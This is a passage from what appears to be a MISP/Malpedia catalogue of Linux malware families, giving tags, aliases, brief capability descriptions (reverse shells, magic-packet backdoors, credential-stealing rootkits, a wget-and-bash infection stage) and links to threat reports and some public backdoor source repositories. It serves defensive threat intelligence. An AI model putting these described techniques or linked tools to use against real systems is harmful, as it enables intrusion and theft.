<td><a href="https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3">https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3</a></td>
</tr>
<tr>
<td><a href="https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195">https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195</a></td>
</tr>
</tbody>
</table>
RapperBot

A Mirai derivate bruteforcing SSH servers.

The tag is: `misp-galaxy:malpedia="RapperBot"`

RapperBot is also known as:

Table 2021. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.rapper_bot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.rapper_bot</a></td>
</tr>
<tr>
<td><a href="https://socradar.io/linux-malware-rapperbot-brute-forcing-ssh-servers/">https://socradar.io/linux-malware-rapperbot-brute-forcing-ssh-servers/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery">https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/new-rapperbot-campaign-ddos-attacks">https://www.fortinet.com/blog/threat-research/new-rapperbot-campaign-ddos-attacks</a></td>
</tr>
</tbody>
</table>

RaspberryPiBotnet

The tag is: `misp-galaxy:malpedia="RaspberryPiBotnet"`

RaspberryPiBotnet is also known as:

Table 2022. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.raspberrypibotnet">https://malpedia.caad.fkie.fraunhofer.de/details/elf.raspberrypibotnet</a></td>
</tr>
<tr>
<td><a href="https://kindredsec.com/2019/06/03/code-analysis-of-basic-cryptomining-malware/">https://kindredsec.com/2019/06/03/code-analysis-of-basic-cryptomining-malware/</a></td>
</tr>
</tbody>
</table>

rat_hodin

The tag is: `misp-galaxy:malpedia="rat_hodin"`

rat_hodin is also known as:

Table 2023. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
rbs_srv

The tag is: misp-galaxy:malpedia="rbs_srv"

rbs_srv is also known as:

Table 2024. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.rbs_srv
https://github.com/Thibault-69/Remote_Shell

RedXOR

The tag is: misp-galaxy:malpedia="RedXOR"

RedXOR is also known as:

Table 2025. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.redxor

RedAlert Ransomware

Ransomware that targets Linux VMware ESXi servers. Encryption procedure uses the NTRUEncrypt public-key encryption algorithm.

The tag is: misp-galaxy:malpedia="RedAlert Ransomware"

RedAlert Ransomware is also known as:

- N13V

Table 2026. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.red_alert
Rekoobe

A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan’s configuration data is stored in a file encrypted with XOR algorithm

The tag is: *misp-galaxy:malpedia*="Rekoobe"

Rekoobe is also known as:

*Table 2027. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe">https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt</a></td>
</tr>
<tr>
<td><a href="https://sansec.io/research/rekoobe-fishpig-magento">https://sansec.io/research/rekoobe-fishpig-magento</a></td>
</tr>
<tr>
<td><a href="https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/">https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/billyleonard/status/1458531997576572929">https://twitter.com/billyleonard/status/1458531997576572929</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/">https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/</a></td>
</tr>
<tr>
<td><a href="https://vms.drweb.com/virus/?i=7754026&amp;lng=en">https://vms.drweb.com/virus/?i=7754026&amp;lng=en</a></td>
</tr>
</tbody>
</table>

Reptile

The tag is: *misp-galaxy:malpedia*="reptile"

Reptile is also known as:

*Table 2028. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.reptile">https://malpedia.caad.fkie.fraunhofer.de/details/elf.reptile</a></td>
</tr>
<tr>
<td><a href="https://github.com/f0rb1dd3n/Reptile">https://github.com/f0rb1dd3n/Reptile</a></td>
</tr>
</tbody>
</table>
REvil (ELF)

ELF version of win.revil targeting VMware ESXi hypervisors.

The tag is: `misp-galaxy:malpedia="REvil (ELF)"

REvil (ELF) is also known as:

- REvix

Table 2029. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil">https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ransomware-revil-sites-disappears/167745/">https://threatpost.com/ransomware-revil-sites-disappears/167745/</a></td>
</tr>
<tr>
<td><a href="https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5">https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/IntezerLabs/status/1452980772953071619">https://twitter.com/IntezerLabs/status/1452980772953071619</a></td>
</tr>
<tr>
<td><a href="https://malienist.medium.com/revix-linux-ransomware-d736956150d0">https://malienist.medium.com/revix-linux-ransomware-d736956150d0</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1409601311092490248">https://twitter.com/VK_Intel/status/1409601311092490248</a></td>
</tr>
</tbody>
</table>
Rex

The tag is: \texttt{misp-galaxy:malpedia=\textquote{Rex}}

Rex is also known as:

\textit{Table 2030. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
\texttt{https://malpedia.caad.fkie.fraunhofer.de/details/elf.rex} \\
\texttt{https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/} \\
\hline
\end{tabular}

RHOMBUS

The tag is: \texttt{misp-galaxy:malpedia=\textquote{RHOMBUS}}

RHOMBUS is also known as:

\textit{Table 2031. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
\texttt{https://malpedia.caad.fkie.fraunhofer.de/details/elf.rhombus} \\
\texttt{https://old.reddit.com/r/LinuxMalware/comments/fh3zar/memo_rhombus_an_elf_bot_installerdrop} \\
\hline
\end{tabular}

Roboto

P2P Botnet discovered by Netlab360. The botnet infects linux servers via the Webmin RCE vulnerability (CVE-2019-15107) which allows attackers to run malicious code with root privileges and take over older Webmin versions. Based on the Netlabs360 analysis, the botnet serves mainly 7
functions: reverse shell, self-uninstall, gather process’ network information, gather Bot information, execute system commands, run encrypted files specified in URLs and four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.

The tag is: `misp-galaxy:malpedia="Roboto"

Roboto is also known as:

Table 2032. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.roboto">https://malpedia.caad.fkie.fraunhofer.de/details/elf.roboto</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/the-awaiting-roboto-botnet-en">https://blog.netlab.360.com/the-awaiting-roboto-botnet-en</a></td>
</tr>
</tbody>
</table>

RotaJakiro

RotaJakiro is a stealthy Linux backdoor which remained undetected between 2018 and 2021. The malware uses rotating encryption to encrypt the resource information within the sample, and C2 communication, using a combination of AES, XOR, ROTATE encryption and ZLIB compression.

The tag is: `misp-galaxy:malpedia="RotaJakiro"

RotaJakiro is also known as:

Table 2033. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.rotajakiro">https://malpedia.caad.fkie.fraunhofer.de/details/elf.rotajakiro</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/">https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/</a></td>
</tr>
</tbody>
</table>

Royal Ransom (ELF)

According to Trendmicro, Royal ransomware was first observed in September 2022, and the threat actors behind it are believed to be seasoned cybercriminals who used to be part of Conti Team One.

The tag is: `misp-galaxy:malpedia="Royal Ransom (ELF)"

Royal Ransom (ELF) is also known as:

- Royal
- Royal_unix
**Rshell**

The tag is: `misp-galaxy:malpedia="Rshell"`

Rshell is also known as:

**SALTWATER**

According to Mandiant, SALTWATER is a module for the Barracuda SMTP daemon (bsmtpd) that has backdoor functionality. SALTWATER can upload or download arbitrary files, execute commands, and has proxy and tunneling capabilities. The backdoor is implemented using hooks on the send, recv, close syscalls via the 3rd party kubo/funchook hooking library, and amounts to five components, most of which are referred to as "Channels" within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality.

The tag is: `misp-galaxy:malpedia="SALTWATER"`

SALTWATER is also known as:

**Satori**

Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).
The tag is: misp-galaxy:malpedia="Satori"

Satori is also known as:

Table 2037. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori">https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori</a></td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/the-arc-of-satori/">https://www.arbornetworks.com/blog/asert/the-arc-of-satori/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/satori-mirai-botnet-variant-targeting-vantage-velocity-field-unit-rce-vulnerability/">https://unit42.paloaltonetworks.com/satori-mirai-botnet-variant-targeting-vantage-velocity-field-unit-rce-vulnerability/</a></td>
</tr>
</tbody>
</table>

**SBIDIOT**

The tag is: misp-galaxy:malpedia="SBIDIOT"

SBIDIOT is also known as:

Table 2038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.sbidiot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.sbidiot</a></td>
</tr>
<tr>
<td><a href="https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/">https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/</a></td>
</tr>
</tbody>
</table>

**SEASPY**

According to CISA, this malware is a persistent backdoor that masquerades as a legitimate Barracuda Networks service. The malware is designed to listen to commands received from the Threat Actor’s Command-and-Control through TCP packets. When executed, the malware uses libpcap sniffer to monitor traffic for a magic packet on TCP port 25 (SMTP) and TCP port 587. It checks the network packet captured for a hard-coded string. When the right sequence of packet is captured, it establishes a TCP reverse shell to the C2 server for further exploitation. This allows the TA to execute arbitrary commands on the compromised system. The malware is based on an open-
source backdoor program named "cd00r".

The tag is: misp-galaxy:malpedia="SEASPY"

SEASPY is also known as:

Table 2039. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.seaspy">https://malpedia.caad.fkie.fraunhofer.de/details/elf.seaspy</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/news-events/analysis-reports/ar23-209b">https://www.cisa.gov/news-events/analysis-reports/ar23-209b</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally">https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-espionage-tactics">https://www.mandiant.com/resources/blog/chinese-espionage-tactics</a></td>
</tr>
</tbody>
</table>

ShellBind

The tag is: misp-galaxy:malpedia="ShellBind"

ShellBind is also known as:

Table 2040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind">https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind</a></td>
</tr>
</tbody>
</table>

Shishiga

The tag is: misp-galaxy:malpedia="Shishiga"

Shishiga is also known as:

Table 2041. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga">https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga</a></td>
</tr>
</tbody>
</table>

SideWalk (ELF)

The tag is: misp-galaxy:malpedia="SideWalk (ELF)"

SideWalk (ELF) is also known as:
Silex

The tag is: misp-galaxy:malpedia="Silex"

Silex is also known as:

- silexbot

SLAPSTICK

According to FireEye, SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.

The tag is: misp-galaxy:malpedia="SLAPSTICK"

SLAPSTICK is also known as:

SoWaT

This is an implant used by APT31 on home routers to utilize them as ORBs.

The tag is: misp-galaxy:malpedia="SoWaT"

SoWaT is also known as:
Table 2045. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.sowat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.sowat</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/billyleonard/status/1417910729005490177">https://twitter.com/billyleonard/status/1417910729005490177</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/bkMSFT/status/1417823714922610689">https://twitter.com/bkMSFT/status/1417823714922610689</a></td>
</tr>
<tr>
<td><a href="https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003">https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003</a></td>
</tr>
<tr>
<td><a href="https://imp0rtp3.wordpress.com/2021/11/25/sowat/">https://imp0rtp3.wordpress.com/2021/11/25/sowat/</a></td>
</tr>
</tbody>
</table>

**Spamtorte**

The tag is: `misp-galaxy:malpedia="Spamtorte"`

Spamtorte is also known as:

Table 2046. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte">https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte</a></td>
</tr>
</tbody>
</table>

**SpeakUp**

The tag is: `misp-galaxy:malpedia="SpeakUp"`

SpeakUp is also known as:

Table 2047. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.speakup">https://malpedia.caad.fkie.fraunhofer.de/details/elf.speakup</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/">https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/</a></td>
</tr>
</tbody>
</table>

**Specter**

The tag is: `misp-galaxy:malpedia="Specter"`

Specter is also known as:

Table 2048. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.specter">https://malpedia.caad.fkie.fraunhofer.de/details/elf.specter</a></td>
</tr>
</tbody>
</table>
Speculoos

The tag is: *misp-galaxy:malpedia=*Speculoos*"

Speculoos is also known as:

Table 2049. *Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.speculoos">https://malpedia.caad.fkie.fraunhofer.de/details/elf.speculoos</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/">https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-atlas">https://www.secureworks.com/research/threat-profiles/bronze-atlas</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html">https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html</a></td>
</tr>
</tbody>
</table>

SprySOCKS

The tag is: *misp-galaxy:malpedia=*SprySOCKS*"

SprySOCKS is also known as:

Table 2050. *Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.spry_socks">https://malpedia.caad.fkie.fraunhofer.de/details/elf.spry_socks</a></td>
</tr>
</tbody>
</table>

SSHDoor

The tag is: *misp-galaxy:malpedia=*SSHDoor*"

SSHDoor is also known as:

Table 2051. *Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor">https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/">https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html">http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html</a></td>
</tr>
</tbody>
</table>
**Stantinko**

The tag is: `misp-galaxy:malpedia="Stantinko"`

Stantinko is also known as:

Table 2052. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko">https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/03/19/stantinko-new-cryptominer-unique-obfuscation-techniques/">https://www.welivesecurity.com/2020/03/19/stantinko-new-cryptominer-unique-obfuscation-techniques/</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/stantinkos-proxy-after-your-apache-server/">https://www.intezer.com/blog/research/stantinkos-proxy-after-your-apache-server/</a></td>
</tr>
</tbody>
</table>

**STEELCORGI**

According to FireEye, STEELCORGI is a packer for Linux ELF files that makes use of execution guardrails by sourcing decryption key material from environment variables.

The tag is: `misp-galaxy:malpedia="STEELCORGI"`

STEELCORGI is also known as:

Table 2053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.steelcorgi">https://malpedia.caad.fkie.fraunhofer.de/details/elf.steelcorgi</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2891-overview">https://www.mandiant.com/resources/unc2891-overview</a></td>
</tr>
</tbody>
</table>

**Sunless**

The tag is: `misp-galaxy:malpedia="Sunless"`

Sunless is also known as:
**sustes miner**

Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software.

The tag is: `misp-galaxy:malpedia="sustes miner"`

sustes miner is also known as:

**Suterusu**

The tag is: `misp-galaxy:malpedia="Suterusu"`

Suterusu is also known as:

- HCRootkit

**Sword2033**

The tag is: `misp-galaxy:malpedia="Sword2033"`

Sword2033 is also known as:
Symbiote

A malware capable of capturing credentials and enabling backdoor access, implemented as a userland rootkit. It uses three methods for hiding its network activity, by hooking and hijacking 1) fopen/fopen64, 2) eBPF, 3) a set of libpcap functions.

The tag is: misp-galaxy:malpedia="Symbiote"

Symbiote is also known as:

Table 2058. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/elf.symbiote
- https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote

SysJoker (ELF)

The tag is: misp-galaxy:malpedia="SysJoker (ELF)"

SysJoker (ELF) is also known as:

Table 2059. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysjoker
- https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/

Sysrv-hello (ELF)

Cryptojacking botnet

The tag is: misp-galaxy:malpedia="Sysrv-hello (ELF)"
Sysrv-hello (ELF) is also known as:

- Sysrv

**Table 2060. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysrvhello">https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysrvhello</a></td>
</tr>
<tr>
<td><a href="https://www.lacework.com/sysrv-hello-expands-infrastructure/">https://www.lacework.com/sysrv-hello-expands-infrastructure/</a></td>
</tr>
</tbody>
</table>

**TeamTNT**

Since Fall 2019, Team TNT is a well known threat actor which targets *nix based systems and misconfigured Docker container environments. It has constantly evolved its capabilities for its cloud-based cryptojacking operations. They have shifted their focus on compromising Kubernetes Clusters.

The tag is: *misp-galaxy:malpedia="TeamTNT"*

TeamTNT is also known as:

**Table 2061. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt">https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt</a></td>
</tr>
<tr>
<td><a href="https://tolisec.com/active-crypto-mining-operation-by-teamtnt/">https://tolisec.com/active-crypto-mining-operation-by-teamtnt/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/adept-libra/">https://unit42.paloaltonetworks.com/atoms/adept-libra/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/thieflibra/">https://unit42.paloaltonetworks.com/atoms/thieflibra/</a></td>
</tr>
<tr>
<td><a href="https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment">https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment</a></td>
</tr>
<tr>
<td><a href="https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/">https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/</a></td>
</tr>
</tbody>
</table>
TheMoon

The tag is: *misp-galaxy:malpedia=*TheMoon*

TheMoon is also known as:

*Table 2062. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.themoon">https://malpedia.caad.fkie.fraunhofer.de/details/elf.themoon</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/reading-room/whitepapers/malicious/analyzing-backdoor-bot-mips-platform-35902">https://www.sans.org/reading-room/whitepapers/malicious/analyzing-backdoor-bot-mips-platform-35902</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/themoon-a-p2p-botnet-targeting-home-routers">https://www.fortinet.com/blog/threat-research/themoon-a-p2p-botnet-targeting-home-routers</a></td>
</tr>
</tbody>
</table>

TNTbotinger

The tag is: *misp-galaxy:malpedia=*TNTbotinger*

TNTbotinger is also known as:

*Table 2063. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.tntbotinger">https://malpedia.caad.fkie.fraunhofer.de/details/elf.tntbotinger</a></td>
</tr>
</tbody>
</table>
Torii

The tag is: misp-galaxy:malpedia="Torii"

Torii is also known as:

Table 2064. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii">https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/new-torii-botnet-threat-research">https://blog.avast.com/new-torii-botnet-threat-research</a></td>
</tr>
</tbody>
</table>

Trump Bot

The tag is: misp-galaxy:malpedia="Trump Bot"

Trump Bot is also known as:

Table 2065. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot</a></td>
</tr>
<tr>
<td><a href="http://paper.seebug.org/345/">http://paper.seebug.org/345/</a></td>
</tr>
</tbody>
</table>

TSCookie

The tag is: misp-galaxy:malpedia="TSCookie"

TSCookie is also known as:

Table 2066. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.tscookie">https://malpedia.caad.fkie.fraunhofer.de/details/elf.tscookie</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1382054011264700416">https://twitter.com/ESETresearch/status/1382054011264700416</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape">https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape</a></td>
</tr>
</tbody>
</table>

tsh

The tag is: misp-galaxy:malpedia="tsh"

tsh is also known as:

Table 2067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsh">https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsh</a></td>
</tr>
<tr>
<td><a href="https://github.com/creaktive/tsh">https://github.com/creaktive/tsh</a></td>
</tr>
</tbody>
</table>

Tsunami (ELF)

The tag is: misp-galaxy:malpedia="Tsunami (ELF)"

Tsunami (ELF) is also known as:

- Amnesia
- Muhstik
- Radiation

Table 2068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami">https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami</a></td>
</tr>
<tr>
<td><a href="https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers">https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/muhstik-malware-botnet-analysis/">https://sysdig.com/blog/muhstik-malware-botnet-analysis/</a></td>
</tr>
<tr>
<td><a href="http://get.cyberx-labs.com/radiation-report">http://get.cyberx-labs.com/radiation-report</a></td>
</tr>
<tr>
<td><a href="https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&amp;linkId=131648775">https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&amp;linkId=131648775</a></td>
</tr>
</tbody>
</table>
## Turla RAT

The tag is: *misp-galaxy:malpedia*="Turla RAT"

Turla RAT is also known as:

*Table 2069. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html">https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html</a></td>
</tr>
</tbody>
</table>

## Umbreon

The tag is: *misp-galaxy:malpedia*="Umbreon"

Umbreon is also known as:

- Espeon
Unidentified Linux 001

According to Cybereason, these scripts have been used in an ongoing campaign exploiting a widespread vulnerability in the Exim MTA: CVE-2019-10149. This attack leverages a week-old vulnerability to gain remote command execution on the target machine, search the Internet for other machines to infect, and initiates a crypto miner.

The tag is: misp-galaxy:malpedia="Unidentified Linux 001"

Unidentified Linux 001 is also known as:

Unidentified ELF 004

Implant used by APT31 on compromised SOHO infrastructure, tries to camouflage as a tool ("unifi-video") related to Ubiquiti UniFi surveillance cameras.

The tag is: misp-galaxy:malpedia="Unidentified ELF 004"

Unidentified ELF 004 is also known as:

Unidentified 005 (Sidecopy)

The tag is: misp-galaxy:malpedia="Unidentified 005 (Sidecopy)"

Unidentified 005 (Sidecopy) is also known as:
Unidentified ELF 006 (Tox Backdoor)

Enables remote execution of scripts on a host, communicates via Tox.

The tag is: \textit{mispgalaxy:malpedia}="Unidentified ELF 006 (Tox Backdoor)"

Unidentified ELF 006 (Tox Backdoor) is also known as:

Table 2074. Table References

Hive (Vault 8)

The tag is: \textit{mispgalaxy:malpedia}="Hive (Vault 8)"

Hive (Vault 8) is also known as:

Table 2075. Table References

Vermilion Strike (ELF)

The tag is: \textit{mispgalaxy:malpedia}="Vermilion Strike (ELF)"

Vermilion Strike (ELF) is also known as:

Table 2076. Table References
VPNFilter

The tag is: misp-galaxy:malpedia="VPNFilter"

VPNFilter is also known as:

Table 2077. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
